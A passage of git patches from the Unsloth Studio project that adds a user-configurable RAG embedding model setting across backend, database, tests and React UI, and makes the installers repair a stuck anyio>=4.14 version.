indexed under the previous model must be re-uploaded.""" + from utils.models import is_embedding_model + + try: + model = validate_embedding_model(payload.embedding_model) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid embedding model."), + event = "settings.update_embedding_model_failed", + log = logger, + ) from exc + # The env/default model needs no verification; saving it is a no-op override. + # A local GGUF on the llama-server backend is accepted as-is: it is exactly + # what the backend loads, and HF metadata cannot verify a local path. + if ( + model != default_embedding_model() + and not payload.force + and not (_llama_backend_active() and _resolves_as_local_gguf(model)) + ): + hf_token = (payload.hf_token or "").strip() or None + from core.rag import config as rag_config + + # A GGUF-named repo on the llama-server backend is loaded from its .gguf + # files, which rarely carry sentence-transformers metadata; verify the + # GGUF is available (below) rather than the ST embedding-metadata gate, + # which would wrongly 409 a valid online GGUF embedder. + gguf_named = _llama_backend_active() and rag_config._names_gguf(model) + if not gguf_named and not is_embedding_model(model, hf_token = hf_token): + raise HTTPException( + status_code = 409, + detail = ( + f"Could not verify {model!r} as an embedding model on " + "Hugging Face (it may be the wrong model type, gated, or " + "you may be offline)." + ), + ) + gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token) + if gguf_error: + raise HTTPException(status_code = 409, detail = gguf_error) + set_rag_embedding_model(model) + logger.info( + "settings.embedding_model_updated subject=%s model=%s forced=%s", + current_subject, + model, + payload.force, + ) + return _embedding_model_response() + + +@router.delete("/embedding-model", response_model = EmbeddingModelResponse) +def reset_embedding_model( + current_subject: str = Depends(get_current_subject), +) -> EmbeddingModelResponse: + """Clear the override, returning to the env/default model.""" + reset_rag_embedding_model() + logger.info("settings.embedding_model_reset subject=%s", current_subject) + return _embedding_model_response() + + class PreviewLinkRotateResponse(BaseModel): rotated: bool = True diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py index ce27326562..cbd6ceb617 100644 --- a/studio/backend/storage/rag_db.py +++ b/studio/backend/storage/rag_db.py @@ -15,6 +15,7 @@ column type). """ import logging +import re import sqlite3 import threading @@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: error TEXT, num_chunks INTEGER NOT NULL DEFAULT 0, stored_path TEXT, - created_at TEXT NOT NULL + created_at TEXT NOT NULL, + embedding_model TEXT ); CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope); CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256); @@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()} if "project_id" not in cols: conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT") + # Lazy upgrade: which embedder produced a document's vectors (NULL = legacy, + # assumed current). Dedupe re-ingests when it no longer matches. + if "embedding_model" not in cols: + conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT") def get_connection() -> sqlite3.Connection: @@ -143,9 +149,32 @@ def get_connection() -> sqlite3.Connection: return conn +def vec_table_dim(conn: sqlite3.Connection) -> int | None: + """Embedding width baked into ``chunks_vec``, or None when absent.""" + row = conn.execute( + "SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'" + ).fetchone() + if row is None or not row["sql"]: + return None + m = re.search(r"float\[(\d+)\]", row["sql"]) + return int(m.group(1)) if m else None + + def ensure_vec(conn: sqlite3.Connection, dim: int) -> None: """Create the dense ``chunks_vec`` table once the embedding dim is known - (vec0 bakes it into the column type). Idempotent; dim fixed per db.""" + (vec0 bakes it into the column type). A width change (embedding model + switched in Settings) drops the table: the old vectors live in a foreign + space and would only block inserts, while lexical search keeps serving old + chunks until they are re-uploaded.""" + existing = vec_table_dim(conn) + if existing is not None and existing != int(dim): + logger.warning( + "chunks_vec dim changed %d -> %d (embedding model switched); dropping " + "stale dense index. Re-upload documents to restore dense search.", + existing, + int(dim), + ) + conn.execute("DROP TABLE chunks_vec") conn.execute( f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0(" f"scope TEXT partition key, " diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py new file mode 100644 index 0000000000..3be4af0e32 --- /dev/null +++ b/studio/backend/tests/test_embedding_model_settings.py @@ -0,0 +1,55 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Test for the customizable RAG embedding model: a saved override becomes the +effective model and derives its GGUF companion for the llama-server backend.""" + +from pathlib import Path +import sys +import types as _types + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import pytest + +import utils.embedding_model_settings as ems +from core.rag import config as rag_config + + +@pytest.fixture +def settings_store(monkeypatch): + """In-memory app_settings store patched under the module's lazy imports.""" + import storage.studio_db as studio_db + + store: dict = {} + monkeypatch.setattr( + studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback) + ) + monkeypatch.setattr( + studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store + ) + ems._invalidate_cache() + yield store + ems._invalidate_cache() + + +def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch): + """The core contract: with nothing stored the default is in effect; a saved + custom model becomes the effective embedding model and derives its -GGUF + companion (what the llama-server backend loads); reset clears the override.""" + monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False) + assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL + assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO + + assert ems.set_rag_embedding_model(" org/my-embedder ") == "org/my-embedder" + assert rag_config.effective_embedding_model() == "org/my-embedder" + assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF" + + assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL + assert ems.get_stored_embedding_model() is None diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py index 8321068afd..0e1f74cefe 100644 --- a/studio/backend/tests/test_rag_embed_llama_server.py +++ b/studio/backend/tests/test_rag_embed_llama_server.py @@ -373,6 +373,8 @@ def test_ensure_ready_respawns_dead_process(monkeypatch): def fake_spawn(): spawned["n"] += 1 b._process = _FakeProc(alive = True) + # _current() now also checks the served repo, so mark it current. + b._model_repo = config.effective_gguf_repo() monkeypatch.setattr(b, "_spawn", fake_spawn) b._ensure_ready() diff --git a/studio/backend/utils/embedding_model_settings.py b/studio/backend/utils/embedding_model_settings.py new file mode 100644 index 0000000000..798ae6d364 --- /dev/null +++ b/studio/backend/utils/embedding_model_settings.py @@ -0,0 +1,124 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted RAG embedding-model override (Settings -> General). + +The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in +``core.rag.config``. Vectors from different models live in different spaces, so +documents already indexed under the old model must be re-uploaded after a change +(the UI warns about this). +""" + +from __future__ import annotations + +import threading +import time +from typing import Any + +EMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model" +MAX_EMBEDDING_MODEL_LENGTH = 512 + +# The effective model is consulted on the embedder hot path (once per embed / +# tokenize call during ingestion), so the stored value is cached briefly instead +# of hitting sqlite each time. Writes invalidate immediately in-process; other +# readers converge within the TTL. +_CACHE_TTL_S = 2.0 +_cached: tuple[float, str | None] | None = None +# Bumped on every write/invalidate. A reader captures it before the DB read and +# only fills the cache if it is unchanged afterward, so a read that overlapped a +# save cannot repopulate the cache with the pre-save value for the whole TTL. +_generation = 0 +_lock = threading.Lock() + + +def _invalidate_cache() -> None: + global _cached, _generation + with _lock: + _cached = None + _generation += 1 + + +def default_embedding_model() -> str: + """The env/default model from rag config (``RAG_EMBEDDING_MODEL`` or bge).""" + from core.rag import config + return config.EMBEDDING_MODEL + + +def _coerce_embedding_model(value: Any) -> str | None: + if not isinstance(value, str): + return None + cleaned = value.strip() + if not cleaned or len(cleaned) > MAX_EMBEDDING_MODEL_LENGTH: + return None + # Newlines/control chars are never valid in a repo id or path. + if any(ord(ch) < 32 for ch in cleaned): + return None + return cleaned + + +def validate_embedding_model(value: Any) -> str: + cleaned = _coerce_embedding_model(value) + if cleaned is None: + raise ValueError( + "Embedding model must be a Hugging Face repo id (e.g. " + "'unsloth/bge-small-en-v1.5') or a local model path, up to " + f"{MAX_EMBEDDING_MODEL_LENGTH} characters." + ) + return cleaned + + +def get_stored_embedding_model() -> str | None: + """The persisted override, or None when unset/invalid.""" + global _cached + now = time.monotonic() + with _lock: + cached = _cached + if cached is not None and now - cached[0] < _CACHE_TTL_S: + return cached[1] + gen = _generation + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(EMBEDDING_MODEL_SETTING_KEY, None) + except Exception: + # Transient store failure: keep the last known value instead of + # silently reverting the embed/search hot path to the default model, + # which would mix vector spaces mid-ingestion. + with _lock: + if _cached is not None: + _cached = (time.monotonic(), _cached[1]) + return _cached[1] + return None + value = _coerce_embedding_model(stored) + with _lock: + # Only cache when no save landed while we were reading; otherwise this + # value may be pre-save, and caching it would mask the new one for the + # TTL. The next reader re-reads the committed value. + if _generation == gen: + _cached = (time.monotonic(), value) + return value + + +def get_rag_embedding_model() -> str: + """Effective embedding model: persisted override, else env/default.""" + return get_stored_embedding_model() or default_embedding_model() + + +def set_rag_embedding_model(value: Any) -> str: + parsed = validate_embedding_model(value) + from storage.studio_db import upsert_app_settings + + # Saving the default is not an override; keeps is_custom (and the UI's + # reset affordance) honest. + stored = parsed if parsed != default_embedding_model() else None + upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: stored}) + _invalidate_cache() + return parsed + + +def reset_rag_embedding_model() -> str: + """Clear the override; returns the (env/default) model now in effect.""" + from storage.studio_db import upsert_app_settings + + upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: None}) + _invalidate_cache() + return default_embedding_model() diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts new file mode 100644 index 0000000000..8b6bc7ee7f --- /dev/null +++ b/studio/frontend/src/features/settings/api/embedding-model.ts @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { readFastApiError } from "@/lib/format-fastapi-error"; + +export type EmbeddingModelSettings = { + embeddingModel: string; + defaultEmbeddingModel: string; + isCustom: boolean; +}; + +type ApiEmbeddingModelSettings = { + // biome-ignore lint/style/useNamingConvention: API schema + embedding_model: string; + // biome-ignore lint/style/useNamingConvention: API schema + default_embedding_model: string; + // biome-ignore lint/style/useNamingConvention: API schema + is_custom: boolean; +}; + +/** 409 from the backend: the model could not be verified as an embedding model + * (wrong type, gated repo, or offline). Retry with force to save anyway. */ +export class EmbeddingModelVerificationError extends Error {} + +function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings { + return { + embeddingModel: settings.embedding_model, + defaultEmbeddingModel: settings.default_embedding_model, + isCustom: settings.is_custom, + }; +} + +export async function loadEmbeddingModelSettings(): Promise { + const res = await authFetch("/api/settings/embedding-model"); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to load embedding model setting"), + ); + } + return fromApi(await res.json()); +} + +export async function updateEmbeddingModelSettings( + embeddingModel: string, + options?: { hfToken?: string; force?: boolean }, +): Promise { + const res = await authFetch("/api/settings/embedding-model", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + // biome-ignore lint/style/useNamingConvention: API schema + embedding_model: embeddingModel, + // biome-ignore lint/style/useNamingConvention: API schema + hf_token: options?.hfToken || null, + force: options?.force ?? false, + }), + }); + if (res.status === 409) { + throw new EmbeddingModelVerificationError( + await readFastApiError(res, "Could not verify the embedding model"), + ); + } + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to save embedding model"), + ); + } + return fromApi(await res.json()); +} + +export async function resetEmbeddingModelSettings(): Promise { + const res = await authFetch("/api/settings/embedding-model", { + method: "DELETE", + }); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to reset embedding model"), + ); + } + return fromApi(await res.json()); +} diff --git a/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx new file mode 100644 index 0000000000..b0e9a41b7d --- /dev/null +++ b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { + Combobox, + ComboboxContent, + ComboboxEmpty, + ComboboxInput, + ComboboxItem, + ComboboxList, +} from "@/components/ui/combobox"; +import { Spinner } from "@/components/ui/spinner"; +import type { PipelineType } from "@huggingface/hub"; +import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search"; +import { useDebouncedValue } from "@/hooks"; +import { type ReactElement, useMemo, useRef } from "react"; + +// HF pipeline filter for embedding models; matches the backend's +// is_embedding_model signals (sentence-similarity / feature-extraction). +const EMBEDDING_TASKS: readonly PipelineType[] = [ + "sentence-similarity", + "feature-extraction", +]; + +type EmbeddingModelComboboxProps = { + value: string; + /** Fires on typing, selection, and Enter with the current text. */ + onChange: (value: string) => void; + accessToken?: string; + disabled?: boolean; + placeholder?: string; + ariaLabel?: string; + className?: string; +}; + +export function EmbeddingModelCombobox({ + value, + onChange, + accessToken, + disabled, + placeholder, + ariaLabel, + className, +}: EmbeddingModelComboboxProps): ReactElement { + const selectingRef = useRef(false); + const anchorRef = useRef(null); + // Fully controlled: the parent updates value on every keystroke, so the + // prop itself is the search query. + const debouncedQuery = useDebouncedValue(value); + + const { results, isLoading } = useHubModelSearch(debouncedQuery, { + task: EMBEDDING_TASKS, + accessToken, + excludeGguf: true, + enabled: !disabled, + // Curated unsloth listing when empty (the global top-downloads page holds + // no unsloth mirrors to float); a typed query searches the whole Hub. + ownerScope: debouncedQuery.trim() ? "all" : "unsloth", + }); + + const items = useMemo(() => { + const ids = results.map((item) => item.id); + const selected = value.trim(); + if (selected && !ids.includes(selected)) { + ids.push(selected); + } + return ids; + }, [results, value]); + + return ( +
{ + if (event.key !== "Enter") return; + if (!(event.target instanceof HTMLInputElement)) return; + event.preventDefault(); + const typed = event.target.value.trim(); + if (typed) { + onChange(typed); + } else if (items.length > 0) { + onChange(items[0]); + } + }} + > + onChange(next ?? "")} + onInputValueChange={(next) => { + if (selectingRef.current) { + selectingRef.current = false; + return; + } + onChange(next); + }} + itemToStringValue={(item) => item} + autoHighlight={true} + > + + + {isLoading ? ( +
+ + Searching... +
+ ) : ( + No embedding models found + )} + + {(id: string) => ( + { + selectingRef.current = true; + }} + > + {id} + + )} + + + +
+ ); +} diff --git a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx index e83ecebfc8..f1e503f7a3 100644 --- a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx @@ -17,6 +17,7 @@ import { fetchApiKeys, revokeApiKey, type ApiKey } from "../api/api-keys"; import { ApiMonitorConsole } from "../components/api-monitor-console"; import { ApiKeyRow } from "../components/api-key-row"; import { CreateKeyForm } from "../components/create-key-form"; +import { ModelAutoSwitchSection } from "../components/model-auto-switch-section"; import { KeyRevealCard } from "../components/key-reveal-card"; import { UsageExamples } from "../components/usage-examples"; @@ -171,6 +172,8 @@ export function ApiKeysTab() { + + !o && setRevokeTarget(null)}> diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index 4e02f7f14f..ce69f3d910 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -41,6 +41,13 @@ import { rotatePreviewLinks, updatePreviewSharing, } from "../api/preview-sharing"; +import { + type EmbeddingModelSettings, + EmbeddingModelVerificationError, + loadEmbeddingModelSettings, + resetEmbeddingModelSettings, + updateEmbeddingModelSettings, +} from "../api/embedding-model"; import { DEFAULT_UPLOAD_LIMIT_MB, type UploadLimitSettings, @@ -48,7 +55,7 @@ import { updateUploadLimitSettings, } from "../api/upload-limit"; import { ChangePasswordDialog } from "../components/change-password-dialog"; -import { ModelAutoSwitchSection } from "../components/model-auto-switch-section"; +import { EmbeddingModelCombobox } from "../components/embedding-model-combobox"; import { SettingsRow } from "../components/settings-row"; import { SettingsSection } from "../components/settings-section"; import { StudioVersionSection } from "../components/studio-version-section"; @@ -164,6 +171,16 @@ export function GeneralTab() { const [revokePreviewOpen, setRevokePreviewOpen] = useState(false); const [isRevokingPreview, setIsRevokingPreview] = useState(false); const [modelsFolder, setModelsFolder] = useState(null); + const [embeddingModel, setEmbeddingModel] = + useState(null); + const [draftEmbeddingModel, setDraftEmbeddingModel] = useState(""); + const [embeddingModelError, setEmbeddingModelError] = useState( + null, + ); + // Set after a 409 (unverifiable model); offers "Save anyway". + const [embeddingModelNeedsForce, setEmbeddingModelNeedsForce] = + useState(false); + const [isSavingEmbeddingModel, setIsSavingEmbeddingModel] = useState(false); const draftRef = useRef(draftToken); useEffect(() => { @@ -258,6 +275,27 @@ export function GeneralTab() { }; }, [t]); + useEffect(() => { + let cancelled = false; + void loadEmbeddingModelSettings() + .then((settings) => { + if (cancelled) return; + setEmbeddingModel(settings); + setDraftEmbeddingModel(settings.embeddingModel); + }) + .catch((error) => { + if (cancelled) return; + setEmbeddingModelError( + error instanceof Error + ? error.message + : t("settings.general.rag.loadError"), + ); + }); + return () => { + cancelled = true; + }; + }, [t]); + useEffect(() => { let cancelled = false; void loadModelsFolder() @@ -350,6 +388,58 @@ export function GeneralTab() { } }; + const saveEmbeddingModel = async (force: boolean) => { + const trimmed = draftEmbeddingModel.trim(); + if (!trimmed) { + setEmbeddingModelError(t("settings.general.rag.emptyError")); + return; + } + setIsSavingEmbeddingModel(true); + setEmbeddingModelError(null); + try { + const settings = await updateEmbeddingModelSettings(trimmed, { + hfToken: hfToken || undefined, + force, + }); + setEmbeddingModel(settings); + setDraftEmbeddingModel(settings.embeddingModel); + setEmbeddingModelNeedsForce(false); + toast.success(t("settings.general.rag.saved"), { + description: t("settings.general.rag.reindexWarning"), + }); + } catch (error) { + if (error instanceof EmbeddingModelVerificationError) { + setEmbeddingModelNeedsForce(true); + } + setEmbeddingModelError( + error instanceof Error + ? error.message + : t("settings.general.rag.saveError"), + ); + } finally { + setIsSavingEmbeddingModel(false); + } + }; + + const resetEmbeddingModel = async () => { + setIsSavingEmbeddingModel(true); + setEmbeddingModelError(null); + setEmbeddingModelNeedsForce(false); + try { + const settings = await resetEmbeddingModelSettings(); + setEmbeddingModel(settings); + setDraftEmbeddingModel(settings.embeddingModel); + } catch (error) { + setEmbeddingModelError( + error instanceof Error + ? error.message + : t("settings.general.rag.saveError"), + ); + } finally { + setIsSavingEmbeddingModel(false); + } + }; + const saveUploadLimit = async () => { const parsed = Number(draftUploadLimit); if (!Number.isInteger(parsed)) { @@ -500,38 +590,6 @@ export function GeneralTab() { - - -
- void saveHelperPrecache(enabled)} - /> - {helperPrecache?.disabledByEnv ? ( - - {t("settings.general.helperLlm.disabledByEnv")} - - ) : helperPrecacheError ? ( - - {helperPrecacheError} - - ) : null} -
- - - - - @@ -568,6 +626,77 @@ export function GeneralTab() { + + +
+
+ { + setDraftEmbeddingModel(next); + setEmbeddingModelNeedsForce(false); + setEmbeddingModelError(null); + }} + accessToken={hfToken || undefined} + disabled={!embeddingModel} + placeholder={embeddingModel?.defaultEmbeddingModel ?? ""} + ariaLabel={t("settings.general.rag.embeddingModel")} + className="w-[220px]" + /> + +
+ {embeddingModelError ? ( + + {embeddingModelError} + + ) : null} +
+ {embeddingModelNeedsForce ? ( + + ) : null} + {embeddingModel?.isCustom ? ( + + ) : null} +
+ + {t("settings.general.rag.reindexWarning")} + +
+ + + )} + + +
+ void saveHelperPrecache(enabled)} + /> + {helperPrecache?.disabledByEnv ? ( + + {t("settings.general.helperLlm.disabledByEnv")} + + ) : helperPrecacheError ? ( + + {helperPrecacheError} + + ) : null} +
+ + + diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index 27dda5193a..136e8523ba 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -193,6 +193,20 @@ export const en = { maxUploadSize: "Training dataset upload cap", maxUploadSizeDescription: "Default is {defaultSize} MB.", }, + rag: { + sectionTitle: "Documents & RAG", + embeddingModel: "Embedding model", + embeddingModelDescription: + "Hugging Face model or local path used to index and search your documents. Default is {defaultModel}.", + reindexWarning: + "Only affects newly indexed documents. Re-upload existing ones after changing the model.", + emptyError: "Enter a Hugging Face model id or local path.", + loadError: "Failed to load the embedding model setting.", + saveError: "Failed to save the embedding model.", + saved: "Embedding model saved.", + saveAnyway: "Save anyway", + resetAction: "Reset to default", + }, storage: { sectionTitle: "Storage", modelsFolder: "Models folder", From 91f4ec7ba71469e24b4f412bab774e363ba996e3 Mon Sep 17 00:00:00 2001 From: Abdul Moiz Date: Thu, 2 Jul 2026 18:49:40 +0500 Subject: [PATCH 11/27] Studio: self-heal a pre-#6483-fix anyio>=4.14 stuck in existing installs (#6805) * Studio: self-heal a pre-#6483-fix anyio>=4.14 stuck in existing installs The <4.14 cap in constraints.txt/no-torch-runtime.txt only constrains new anyio resolutions. An install made before that cap existed can already be sitting on anyio 4.14+, and since it already satisfies mcp/fastmcp's anyio>=4.5 floor, every later constrained install skips it as already-satisfied -- so affected installs never recover and keep hitting the cancel-scope RuntimeError on every request (#6797, a recurrence of #6483). Force-reinstall anyio<4.14 whenever a stuck 4.14+ is detected. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: also repair anyio on the update fast path setup.sh's _SKIP_PYTHON_DEPS and setup.ps1's $SkipPythonDeps skip install_python_stack.py entirely once the installed package version already matches PyPI latest, so an install stuck on anyio>=4.14 with an otherwise up-to-date package never reaches the repair added in install_python_stack.py. Probe anyio on that fast path too and fall through to the full dependency pass when it's still >=4.14, mirroring the existing ROCm/CPU-torch override right below it. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- studio/install_python_stack.py | 41 +++++++++++++++++++++++++++++++++- studio/setup.ps1 | 22 ++++++++++++++++++ studio/setup.sh | 17 ++++++++++++++ 3 files changed, 79 insertions(+), 1 deletion(-) diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py index 9060b57542..37805e2a57 100644 --- a/studio/install_python_stack.py +++ b/studio/install_python_stack.py @@ -181,6 +181,41 @@ def _probe_installed_torch_version() -> str | None: return lines[-1] if lines else None +# constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install +# from before the cap existed can already be stuck at 4.14+, which later +# constrained installs won't touch since it already satisfies mcp/fastmcp. +_ANYIO_BAD_FLOOR = (4, 14) + + +def _installed_anyio_version() -> tuple[int, int] | None: + try: + from importlib.metadata import version as _pkg_version + raw = _pkg_version("anyio") + except Exception: + return None + parts = raw.split(".") + try: + major = int(parts[0]) + minor = int(re.sub(r"[^0-9].*", "", parts[1])) if len(parts) > 1 else 0 + except (IndexError, ValueError): + return None + return (major, minor) + + +def _repair_bad_anyio() -> None: + installed = _installed_anyio_version() + if installed is None or installed < _ANYIO_BAD_FLOOR: + return + _safe_print(_dim(f" anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14...")) + pip_install( + "Repairing anyio version", + "--no-cache-dir", + "--force-reinstall", + "anyio<4.14.0", + constrain = False, + ) + + # AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/). # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs. _ROCM_WINDOWS_INDEX_BASE = ( @@ -1970,7 +2005,7 @@ def install_python_stack() -> int: package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth") # --local overlays a local repo checkout after updating deps. local_repo = os.environ.get("STUDIO_LOCAL_REPO", "") - base_total = 10 if IS_WINDOWS else 11 + base_total = 11 if IS_WINDOWS else 12 # +1 for the anyio repair check (step 8b) if IS_MACOS: base_total -= 1 # triton step is skipped on macOS if not IS_MACOS and not NO_TORCH: @@ -2284,6 +2319,10 @@ def install_python_stack() -> int: req = REQ_ROOT / "studio.txt", ) + # 8b. anyio repair (#6483) + _progress("anyio check") + _repair_bad_anyio() + # 9. Data-designer dependencies _progress("data designer deps") pip_install( diff --git a/studio/setup.ps1 b/studio/setup.ps1 index 38398eb5f5..ae4e8464ec 100644 --- a/studio/setup.ps1 +++ b/studio/setup.ps1 @@ -2645,6 +2645,28 @@ if ($env:SKIP_STUDIO_BASE -ne "1" -and $env:STUDIO_LOCAL_INSTALL -ne "1") { if ($InstalledVer -and $LatestVer -and ($InstalledVer -eq $LatestVer)) { step "python" "$_PkgName $InstalledVer is up to date" $SkipPythonDeps = $true + # A pre-#6483-fix install can be stuck on anyio>=4.14 even though + # $_PkgName itself is current; the fast path above would otherwise + # never reach install_python_stack's anyio repair (#6797). + $_anyioBad = $false + try { + & python -c " +import re, sys +from importlib.metadata import version, PackageNotFoundError +try: + parts = version('anyio').split('.') + major = int(parts[0]) + minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0 +except (PackageNotFoundError, ValueError, IndexError): + sys.exit(1) +sys.exit(0 if (major, minor) >= (4, 14) else 1) +" 2>$null + if ($LASTEXITCODE -eq 0) { $_anyioBad = $true } + } catch {} + if ($_anyioBad) { + substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." "Cyan" + $SkipPythonDeps = $false + } # ...but not if an AMD GPU is present and installed PyTorch is CPU-only # (host predates ROCm-wheel support, or GPU added later): the fast "up to # date" path would leave the user on CPU torch with Train/Export disabled. diff --git a/studio/setup.sh b/studio/setup.sh index 43ec9fe7b9..22a922355d 100755 --- a/studio/setup.sh +++ b/studio/setup.sh @@ -947,6 +947,23 @@ print(version(sys.argv[1])) if [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ] && [ "$INSTALLED_VER" = "$LATEST_VER" ]; then step "python" "$_PKG_NAME $INSTALLED_VER is up to date" _SKIP_PYTHON_DEPS=true + # A pre-#6483-fix install can be stuck on anyio>=4.14 even though + # $_PKG_NAME itself is current; the fast path above would otherwise + # never reach install_python_stack's anyio repair (#6797). + if "$VENV_DIR/bin/python" -c " +import re, sys +from importlib.metadata import version, PackageNotFoundError +try: + parts = version('anyio').split('.') + major = int(parts[0]) + minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0 +except (PackageNotFoundError, ValueError, IndexError): + sys.exit(1) +sys.exit(0 if (major, minor) >= (4, 14) else 1) +" 2>/dev/null; then + substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." + _SKIP_PYTHON_DEPS=false + fi elif [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ]; then substep "$_PKG_NAME $INSTALLED_VER -> $LATEST_VER available, updating..." elif [ -z "$LATEST_VER" ]; then From 22cd26f75da5e43257b4d4b385a335c5bae0256e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Gabriel=20Pereira=20G=C3=B3es?= <82218878+Dspofu@users.noreply.github.com> Date: Thu, 2 Jul 2026 13:06:39 -0300 Subject: [PATCH 12/27] feat: Implementation of the Portuguese (Brazil) language and VRAM/RAM monitor (#6509) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: Implementation of the Portuguese (Brazil) language and VRAM/RAM monitor. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Update studio/frontend/src/hooks/use-gpu-utilization.ts Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Update studio/backend/main.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Update studio/backend/main.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Update studio/backend/utils/hardware/hardware.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Update studio/backend/utils/hardware/hardware.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Update studio/frontend/src/features/settings/components/usage-examples.tsx Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Update studio/backend/main.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Update studio/backend/utils/hardware/hardware.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Update studio/frontend/src/features/studio/sections/progress-section.tsx Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * fix: resolve automated review feedback on API shape * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix review issues for PR 